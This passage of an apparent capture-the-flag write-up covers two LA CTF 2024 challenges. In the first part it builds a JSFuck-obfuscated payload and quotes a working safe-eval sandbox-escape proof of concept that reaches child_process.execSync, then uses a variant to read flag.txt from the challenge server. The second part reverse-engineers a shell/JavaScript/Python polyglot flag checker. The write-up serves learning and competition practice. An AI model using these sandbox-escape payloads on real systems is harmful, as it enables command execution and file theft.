<span class="nx">w</span><span class="o">=</span><span class="s2">`(!![]+[])[+!+[]] … []+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
  +
  </span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">
  +
  ([]+[])[(![]+[])[+!!+[]]+(!![]+[][(![]+[])[+!!+[]]+(![]+[]) … !+[]+!+[]+!+[]]`</span>
<span class="c1">// eval string expression</span>
<span class="nx">w</span><span class="o">=</span><span class="s2">`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
(</span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">)
()`</span>
<span class="c1">// eval it</span>
<span class="nx">w</span><span class="o">=</span><span class="s2">`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
(</span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">)
()`</span>
<span class="nx">w</span> <span class="o">=</span> <span class="nx">w</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">\s</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">w</span><span class="p">)</span>
</code></pre></div></div>

<p><em>I truncated the JSFuck code because it’s a bit long. You can <a href="../files/lactf/lactf-jsfudge.js">view the full file here</a>.</em></p>

<p>What this does is,</p>

<ol>
  <li>
    <p>Store the JSFuck code for a backslash character in a variable <code class="language-plaintext highlighter-rouge">backslash</code> for convenience.</p>
  </li>
  <li>
    <p>Split the attack code I want to execute (inside <code class="language-plaintext highlighter-rouge">Array.from()</code>) into individual characters, convert the characters into an octal escape sequence (<code class="language-plaintext highlighter-rouge">backslash</code> + the code point of the character in base 8), and then join them all together with <code class="language-plaintext highlighter-rouge">+</code> signs. This sets <code class="language-plaintext highlighter-rouge">w</code> to code to generate a long string of octal sequences.</p>

    <p>For example, the string <code class="language-plaintext highlighter-rouge">hello</code> would become <code class="language-plaintext highlighter-rouge">'\' + 150 + '\' + 145 + '\' + 154 + '\' + 154 + '\' + 157</code>.</p>
  </li>
  <li>
    <p>Wrap <code class="language-plaintext highlighter-rouge">w</code> in code that puts the octal sequences in a string literal. This is essentially the same as</p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">w</span> <span class="o">=</span> <span class="s2">`return "</span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">"`</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>Wrap <code class="language-plaintext highlighter-rouge">w</code> in code that converts the string into a function and calls it.</p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">w</span> <span class="o">=</span> <span class="s2">`Function(</span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">)()`</span>
</code></pre></div>    </div>

    <p>All this is just to produce a string containing the original attack script.</p>
  </li>
  <li>
    <p>Wrap <code class="language-plaintext highlighter-rouge">w</code> again to actually call my script:</p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">w</span> <span class="o">=</span> <span class="s2">`Function(</span><span class="p">${</span><span class="nx">w</span><span class="p">}</span><span class="s2">)()`</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>So I ran the script to generate code, which I pasted into an unassuming 350-kB file that I piped into the <code class="language-plaintext highlighter-rouge">nc</code> server.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat test</span>/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie ReferenceError: require is not defined
    at <span class="nb">eval</span> <span class="o">(</span><span class="nb">eval </span>at &lt;anonymous&gt; <span class="o">(</span><span class="nb">eval </span>at runCode <span class="o">(</span>/app/run:16:21<span class="o">))</span>, &lt;anonymous&gt;:3:1<span class="o">)</span>
    at <span class="nb">eval</span> <span class="o">(</span><span class="nb">eval </span>at runCode <span class="o">(</span>/app/run:16:21<span class="o">)</span>, &lt;anonymous&gt;:1:350288<span class="o">)</span>
    at runCode <span class="o">(</span>/app/run:16:21<span class="o">)</span>
    at /app/run:31:5
    at process.processTicksAndRejections <span class="o">(</span>node:internal/process/task_queues:95:5<span class="o">)</span>
</code></pre></div></div>

<p>What?</p>

<p>Even though it didn’t look like it in index.js, <code class="language-plaintext highlighter-rouge">eval</code> seemed to be sandboxed somehow, and <code class="language-plaintext highlighter-rouge">require</code> wasn’t directly available.</p>

<p>Okay, fine. I vaguely recalled from a <a href="http://127.0.0.1:4000/longer-tweets/ctf/#ctf-node-calculator-escape-vm-codegeneration-false">prior challenge</a> that it can be fairly trivial to bypass this. I looked online and found <a href="https://security.snyk.io/vuln/SNYK-JS-SAFEEVAL-3373064">this vulnerability</a>, which gave a pretty simple proof of concept:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">safe_eval</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">safe-eval</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">code</span> <span class="o">=</span> <span class="s2">`
import('test').catch((e)=&gt;{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`</span>
<span class="nx">safe_eval</span><span class="p">(</span><span class="nx">code</span><span class="p">)</span>
</code></pre></div></div>

<p>This gets a <code class="language-plaintext highlighter-rouge">Promise</code> object’s constructor (<code class="language-plaintext highlighter-rouge">Promise</code>)’s constructor (<code class="language-plaintext highlighter-rouge">Function</code>) to create a function that returns <code class="language-plaintext highlighter-rouge">process</code>, then access <code class="language-plaintext highlighter-rouge">require</code> via <code class="language-plaintext highlighter-rouge">process.mainModule.require</code>.</p>

<p>My exfiltration script looked very similar:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">).</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return process</span><span class="dl">'</span><span class="p">)().</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">).</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">flag.txt</span><span class="dl">'</span><span class="p">).</span><span class="nx">toString</span><span class="p">())</span>
</code></pre></div></div>

<p>I turned this into JSFuck and plugged it into the server. 🎉</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat test</span>/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run
lactf<span class="o">{</span>d0_y0u_f331_pr0ud<span class="o">}</span>

oopsie woopsie stinki poopie TypeError: Cannot <span class="nb">read </span>properties of undefined <span class="o">(</span>reading <span class="s1">'toString'</span><span class="o">)</span>
    at runCode <span class="o">(</span>/app/run:17:25<span class="o">)</span>
    at /app/run:31:5
    at process.processTicksAndRejections <span class="o">(</span>node:internal/process/task_queues:95:5<span class="o">)</span>
</code></pre></div></div>

<p>Here are links to <a href="../files/lactf/lactf-jsfudge.js">lactf-jsfudge.js</a> (392 kB) and the <a href="../files/lactf/jsfudge-codegen.js">code that generates it</a>.</p>

<h2 id="revglottem">rev/glottem</h2>

<blockquote>
  <p><strong>rev/glottem</strong>
by aplet123.
89 solves / 455 points</p>

  <p>Haha glottem good!</p>

  <p>Note: The correct flag is 34 characters long.</p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/rev/glottem/glottem">glottem</a></p>
</blockquote>

<p>This is a pretty cool challenge.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
1<span class="o">&lt;&lt;</span><span class="no">4201337</span><span class="sh">
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
</span><span class="no">4201337
</span><span class="nb">read</span> <span class="nt">-p</span> <span class="s2">"flag? "</span> flag
node <span class="nv">$0</span> <span class="s2">"</span><span class="nv">$flag</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> python3 <span class="nv">$0</span> <span class="s2">"</span><span class="nv">$flag</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nb">echo </span>correct <span class="o">||</span> <span class="nb">echo </span>incorrect
1<span class="o">&lt;&lt;</span><span class="no">4201337</span><span class="sh">
*///""";from sys import argv
e = […]
alpha="abcdefghijklmnopqrstuvwxyz_"
d=0;s=argv[1];1//1;"""
/*"""
#*/for (let i = 0; i &lt; s.length; i ++) {/*
for i in range(6,len(s)-2):
    #*/d=(d*31+s.charCodeAt(i))%93097/*
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/}
exit(+(d!=260,[d!=61343])[0])
</span><span class="no">4201337
</span></code></pre></div></div>

<p>(That <code class="language-plaintext highlighter-rouge">e = […]</code> line is a <a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/rev/glottem/glottem#L10">long 3D array of numbers</a> ranging from 10 to 17.)</p>

<p>The <code class="language-plaintext highlighter-rouge">#!/bin/sh</code> line suggests that it’s a Bash script (more accurately, just <code class="language-plaintext highlighter-rouge">sh</code> for shell). But other lines in the code, as hinted by the <code class="language-plaintext highlighter-rouge">node</code> and <code class="language-plaintext highlighter-rouge">python3</code> commands, suggest that it might also be a JavaScript and Python file. It’s a <a href="https://en.wikipedia.org/wiki/Polyglot_(computing)">polyglot</a> (hence the challenge name)!</p>

<p>The syntax highlighting on this website might not show it very well (the colors make it clearer on Discord), but in Bash, the first and last commands don’t do anything:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1<span class="o">&lt;&lt;</span><span class="no">4201337</span><span class="sh">
1//1,"""
exit=process.exit;argv=process.argv.slice(1)/*
</span><span class="no">4201337
</span></code></pre></div></div>

<p>My impression of this is that <code class="language-plaintext highlighter-rouge">4201337</code> is just a string to indicate the start and end of a raw string, so you don’t have to worry about escaping any characters inside there. I thought that maybe <code class="language-plaintext highlighter-rouge">&lt;&lt;</code> is like how <code class="language-plaintext highlighter-rouge">&gt;&gt;</code> is to <code class="language-plaintext highlighter-rouge">&gt;</code>, where it pipes the contents of some file with that name into a command <code class="language-plaintext highlighter-rouge">1</code>, which is an alias for true. While writing this write-up, I looked up what <code class="language-plaintext highlighter-rouge">&lt;&lt;</code> does, and I appear to be completely wrong. Oh well.</p>

<p>So the only relevant lines, from Bash’s point of view, are</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>e <span class="o">=</span> <span class="o">[</span>…]
<span class="nb">read</span> <span class="nt">-p</span> <span class="s2">"flag? "</span> flag
node <span class="nv">$0</span> <span class="s2">"</span><span class="nv">$flag</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> python3 <span class="nv">$0</span> <span class="s2">"</span><span class="nv">$flag</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nb">echo </span>correct <span class="o">||</span> <span class="nb">echo </span>incorrect
</code></pre></div></div>

<ol>
  <li>The first command stores a list in <code class="language-plaintext highlighter-rouge">e</code>, which isn’t used anywhere, so it doesn’t do anything.</li>
  <li>The second command asks the user for the flag and stores it in a variable <code class="language-plaintext highlighter-rouge">flag</code>.</li>
  <li>The third command passes the flag to Node and Python, running it on the same <code class="language-plaintext highlighter-rouge">glottem</code> file. If they both pass, then it echoes <code class="language-plaintext highlighter-rouge">correct</code>.</li>
</ol>

<p>So I just need the Node and Python interpretations to accept my flag.</p>

<p>In JavaScript, the code looks like this:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#!/bin/sh
</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">4201337</span>
<span class="mi">1</span><span class="c1">//1,"""</span>
<span class="nx">exit</span><span class="o">=</span><span class="nx">process</span><span class="p">.</span><span class="nx">exit</span><span class="p">;</span><span class="nx">argv</span><span class="o">=</span><span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="cm">/*
4201337
read -p "flag? " flag
node $0 "$flag" &amp;&amp; python3 $0 "$flag" &amp;&amp; echo correct || echo incorrect
1&lt;&lt;4201337
*/</span><span class="c1">//""";from sys import argv</span>
<span class="nx">e</span> <span class="o">=</span> <span class="p">[</span><span class="err">…</span><span class="p">]</span>
<span class="nx">alpha</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">d</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">s</span><span class="o">=</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span><span class="mi">1</span><span class="c1">//1;"""</span>
<span class="cm">/*"""
#*/</span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">s</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">++</span><span class="p">)</span> <span class="p">{</span><span class="cm">/*
for i in range(6,len(s)-2):
    #*/</span><span class="nx">d</span><span class="o">=</span><span class="p">(</span><span class="nx">d</span><span class="o">*</span><span class="mi">31</span><span class="o">+</span><span class="nx">s</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">))</span><span class="o">%</span><span class="mi">93097</span><span class="cm">/*
    d+=e[i-6][alpha.index(s[i])][alpha.index(s[i+1])]#*/</span><span class="p">}</span>
<span class="nx">exit</span><span class="p">(</span><span class="o">+</span><span class="p">(</span><span class="nx">d</span><span class="o">!=</span><span class="mi">260</span><span class="p">,[</span><span class="nx">d</span><span class="o">!=</span><span class="mi">61343</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
<span class="mi">4201337</span>
</code></pre></div></div>

<p>The numbers, <code class="language-plaintext highlighter-rouge">1&lt;&lt;4201337</code>, <code class="language-plaintext highlighter-rouge">1</code>, and <code class="language-plaintext highlighter-rouge">4201337</code> don’t do anything. While JavaScript’s comment syntax normally uses <code class="language-plaintext highlighter-rouge">//</code>, it will also treat <code class="language-plaintext highlighter-rouge">#!</code> as a comment if it’s at the beginning of the file.<sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">4</a></sup></p>

<p>This leaves the following lines:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">exit</span><span class="o">=</span><span class="nx">process</span><span class="p">.</span><span class="nx">exit</span><span class="p">;</span><span class="nx">argv</span><span class="o">=</span><span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nx">e</span> <span class="o">=</span> <span class="p">[</span><span class="err">…</span><span class="p">]</span>
<span class="nx">alpha</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">d</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">s</span><span class="o">=</span><span class="nx">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">s</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">d</span><span class="o">=</span><span class="p">(</span><span class="nx">d</span><span class="o">*</span><span class="mi">31</span><span class="o">+</span><span class="nx">s</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">))</span><span class="o">%</span><span class="mi">93097</span>
<span class="p">}</span>
<span class="nx">exit</span><span class="p">(</span><span class="o">+</span><span class="p">(</span><span class="nx">d</span><span class="o">!=</span><span class="mi">260</span><span class="p">,[</span><span class="nx">d</span><span class="o">!=</span><span class="mi">61343</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
</code></pre></div></div>

<p>Interestingly, JavaScript doesn’t use <code class="language-plaintext highlighter-rouge">e</code> either. It creates aliases for <code class="language-plaintext highlighter-rouge">exit</code> and <code class="language-plaintext highlighter-rouge">argv</code> so some of the statements can be the same in Python and JavaScript.</p>

<p><code class="language-plaintext highlighter-rouge">s</code> is the flag (including the <code class="language-plaintext highlighter-rouge">lactf{...}</code> part), and it loops over each character’s code point and does some math with it. The <code class="language-plaintext highlighter-rouge">%93097</code> looks a bit annoying because modular arithmetic is hard to reverse.</p>

<p>The final line, <code class="language-plaintext highlighter-rouge">exit(+(d!=260,[d!=61343])[0])</code>, is interesting, and I’ll ramble more about it when looking at Python. But ultimately, <code class="language-plaintext highlighter-rouge">d</code> just needs to equal <code class="language-plaintext highlighter-rouge">61343</code> at the end for the script to exit with 0, which means success in Bash.</p>

<p>I tried to work backwards. Even though I don’t know what <code class="language-plaintext highlighter-rouge">d</code> was, I knew that it couldn’t be more than 93097, and before being added to the character code, it would be multiplied by 31. So, I thought, maybe I could try guessing all the characters in <code class="language-plaintext highlighter-rouge">alpha</code> and see which of them have a prior value of <code class="language-plaintext highlighter-rouge">d</code> that could result in <code class="language-plaintext highlighter-rouge">61343</code>.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">MOD</span> <span class="o">=</span> <span class="mi">93097</span>
<span class="nx">ALPHA</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">check</span> <span class="o">=</span> <span class="p">(</span><span class="nx">last</span><span class="p">,</span><span class="nx">alpha</span><span class="o">=</span><span class="nx">ALPHA</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">poss</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">c</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span> <span class="p">)</span> <span class="k">if</span> <span class="p">((</span><span class="nx">last</span> <span class="o">+</span> <span class="nx">MOD</span><span class="o">*</span><span class="nx">i</span> <span class="o">-</span> <span class="nx">c</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">())</span> <span class="o">%</span> <span class="mi">31</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="nx">poss</span><span class="p">.</span><span class="nx">push</span><span class="p">({</span> <span class="na">char</span><span class="p">:</span><span class="nx">c</span><span class="p">,</span> <span class="na">newD</span><span class="p">:(</span><span class="nx">last</span> <span class="o">+</span> <span class="nx">MOD</span><span class="o">*</span><span class="nx">i</span> <span class="o">-</span> <span class="nx">c</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">())</span><span class="o">/</span><span class="mi">31</span><span class="p">})</span>
<span class="p">}</span>
  <span class="k">return</span> <span class="nx">poss</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span> <span class="nx">check</span><span class="p">(</span><span class="mi">61343</span><span class="p">,</span> <span class="dl">'</span><span class="s1">}</span><span class="dl">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">newD</span>
<span class="nx">check</span><span class="p">(</span><span class="nx">last</span><span class="p">)</span>
</code></pre></div></div>

<p>I know that the last character of <code class="language-plaintext highlighter-rouge">s</code> is <code class="language-plaintext highlighter-rouge">}</code> because of the flag format. And the one before it?</p>

<p><img src="../images/lactf/glot-js-guess.png" alt="A list of pretty much every letter and a corresponding potential `d` value." /></p>

<p>I guess it barely narrows anything at all. Hmmph!</p>

<p>Let’s look at the script with a Python lens.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/bin/sh
</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">4201337</span>
<span class="mi">1</span><span class="o">//</span><span class="mi">1</span><span class="p">,</span><span class="s">"""
exit=process.exit;argv=process.argv.slice(1)/*
4201337
read -p "flag? " flag
node $0 "$flag" &amp;&amp; python3 $0 "$flag" &amp;&amp; echo correct || echo incorrect
1&lt;&lt;4201337
*///"""</span><span class="p">;</span><span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">argv</span>
<span class="n">e</span> <span class="o">=</span> <span class="p">[</span><span class="err">…</span><span class="p">]</span>
<span class="n">alpha</span><span class="o">=</span><span class="s">"abcdefghijklmnopqrstuvwxyz_"</span>
<span class="n">d</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">s</span><span class="o">=</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span><span class="mi">1</span><span class="o">//</span><span class="mi">1</span><span class="p">;</span><span class="s">"""
/*"""</span>
<span class="c1">#*/for (let i = 0; i &lt; s.length; i ++) {/*
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span><span class="p">):</span>
    <span class="c1">#*/d=(d*31+s.charCodeAt(i))%93097/*
</span>    <span class="n">d</span><span class="o">+=</span><span class="n">e</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">6</span><span class="p">][</span><span class="n">alpha</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">])][</span><span class="n">alpha</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])]</span><span class="c1">#*/}
</span><span class="nb">exit</span><span class="p">(</span><span class="o">+</span><span class="p">(</span><span class="n">d</span><span class="o">!=</span><span class="mi">260</span><span class="p">,[</span><span class="n">d</span><span class="o">!=</span><span class="mi">61343</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
<span class="mi">4201337</span>
</code></pre></div></div>

<p>Again, the numbers (<code class="language-plaintext highlighter-rouge">1&lt;&lt;4201337</code>, <code class="language-plaintext highlighter-rouge">1//1</code>, and <code class="language-plaintext highlighter-rouge">4201337</code>), tuples, and multiline strings <code class="language-plaintext highlighter-rouge">"""..."""</code> don’t do anything, and <code class="language-plaintext highlighter-rouge">#</code> is Python syntax for comments. So the only lines that matter are,</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">argv</span>
<span class="n">e</span> <span class="o">=</span> <span class="p">[</span><span class="err">…</span><span class="p">]</span>
<span class="n">alpha</span><span class="o">=</span><span class="s">"abcdefghijklmnopqrstuvwxyz_"</span>
<span class="n">d</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">s</span><span class="o">=</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span><span class="p">):</span>
    <span class="n">d</span><span class="o">+=</span><span class="n">e</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">6</span><span class="p">][</span><span class="n">alpha</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">])][</span><span class="n">alpha</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])]</span><span class="c1">#*/}
</span><span class="nb">exit</span><span class="p">(</span><span class="o">+</span><span class="p">(</span><span class="n">d</span><span class="o">!=</span><span class="mi">260</span><span class="p">,[</span><span class="n">d</span><span class="o">!=</span><span class="mi">61343</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
</code></pre></div></div>

<p>This one does use <code class="language-plaintext highlighter-rouge">e</code>. The <code class="language-plaintext highlighter-rouge">range(6,len(s)-2)</code> makes it iterate over adjacent pairs of characters inside the curly braces of <code class="language-plaintext highlighter-rouge">lactf{...}</code>. <code class="language-plaintext highlighter-rouge">e</code> has a 2D array for every character in the flag, and it looks up numbers inside it based on the characters of the pair. These numbers must add up to <code class="language-plaintext highlighter-rouge">260</code>.</p>

<p>As an aside, this is a great line:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">exit</span><span class="p">(</span><span class="o">+</span><span class="p">(</span><span class="n">d</span><span class="o">!=</span><span class="mi">260</span><span class="p">,[</span><span class="n">d</span><span class="o">!=</span><span class="mi">61343</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
</code></pre></div></div>

<p>In JavaScript, the comma operator runs and discards the result of <code class="language-plaintext highlighter-rouge">d!=260</code>, so <code class="language-plaintext highlighter-rouge">(d!=260,[d!=61343])</code> returns the array <code class="language-plaintext highlighter-rouge">[d!=61343]</code>; <code class="language-plaintext highlighter-rouge">[0]</code> gets the boolean inside the array, and <code class="language-plaintext highlighter-rouge">+</code> casts it to a number for the exit code. So JavaScript exits with <code class="language-plaintext highlighter-rouge">d!=61343</code>.</p>

<p>Meanwhile, in Python, the comma operator forms a tuple, so <code class="language-plaintext highlighter-rouge">[0]</code> indexes into the <em>tuple</em> <code class="language-plaintext highlighter-rouge">(d!=260,[d!=61343])</code>, returning <code class="language-plaintext highlighter-rouge">d!=260</code>. Python exits with <code class="language-plaintext highlighter-rouge">d!=260</code>. I think it’s pretty cool that the polyglot exploits the difference in how <code class="language-plaintext highlighter-rouge">,</code> behaves in the two languages.</p>

<p>Anyways, I figured that since <code class="language-plaintext highlighter-rouge">len(e)</code> was 26, and the smallest value in <code class="language-plaintext highlighter-rouge">e</code> was 10, the content of the string between the curly braces of the flag was probably 26 characters long too, and I needed to find a string whose pairs only had 10 values inside <code class="language-plaintext highlighter-rouge">e</code>. However, there seemed to be many such values in the array, so I felt like backtracking here wouldn’t be helpful.</p>

<p>I instead focused on trying to backtrack in JavaScript, but I eventually gave up.</p>

<p>When I came back to the challenge, they had released a hint:</p>

<blockquote>
  <p>Note: The correct flag is 34 characters long.</p>
</blockquote>

<p>This confirms what I suspected: the <code class="language-plaintext highlighter-rouge">lactf{}</code> part of the flag is 7 characters, leaving 27 characters in the string, or 26 adjacent pairs.</p>

<p>I tried working backwards using <code class="language-plaintext highlighter-rouge">e</code>:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">alpha</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">last</span> <span class="o">=</span> <span class="kc">null</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">e</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">--</span><span class="p">;)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">(</span><span class="nx">e</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">map</span><span class="p">((</span><span class="nx">a</span><span class="p">,</span><span class="nx">prev</span><span class="p">)</span> <span class="o">=&gt;</span><span class="nx">a</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">b</span><span class="p">,</span><span class="nx">next</span><span class="p">)</span> <span class="o">=&gt;</span><span class="p">(</span><span class="o">!</span><span class="nx">last</span> <span class="o">||</span> <span class="nx">last</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">alpha</span><span class="p">[</span><span class="nx">next</span><span class="p">]))</span> <span class="o">&amp;&amp;</span> <span class="nx">b</span> <span class="o">===</span> <span class="mi">10</span><span class="p">?[</span><span class="nx">prev</span><span class="p">]:[])).</span><span class="nx">flat</span><span class="p">().</span><span class="nx">map</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">alpha</span><span class="p">[</span><span class="nx">i</span><span class="p">]))</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">last</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">''</span><span class="p">)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">last</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

